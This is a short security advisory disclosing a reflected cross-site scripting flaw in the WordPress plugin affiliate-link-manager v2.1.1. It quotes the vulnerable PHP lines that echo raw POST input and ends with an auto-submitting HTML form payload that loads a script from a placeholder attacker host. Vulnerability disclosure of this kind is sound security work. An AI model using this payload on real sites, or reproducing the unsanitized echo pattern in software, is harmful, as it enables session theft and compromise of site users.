Advisory #: 1391
Title: Reflected XSS in wordpress plugin affiliate-link-manager v2.1.1
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/affiliate-link-manager
Downloads: 8273
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: affiliate-link-manager
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./affiliate-link-manager/templates/addlinks.php: 60: <input type="text" name="url_afiliado" class="regular-text" value="<?php if(isset($_POST['url_afiliado'])) echo $_POST['url_afiliado']?>" /> 64: <input type="text" name="palavra_chave" class="regular-text" value="<?php if(isset($_POST['palavra_chave'])) echo $_POST['palavra_chave']?>" /> The variable url_afiliado appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./affiliate-link-manager/templates/addlinks.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3.  <form name=TheForm action=http://[target]/wp-content/plugins/affiliate-link-manager/templates/addlinks.php method=post> <input type=hidden name=url_afiliado value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>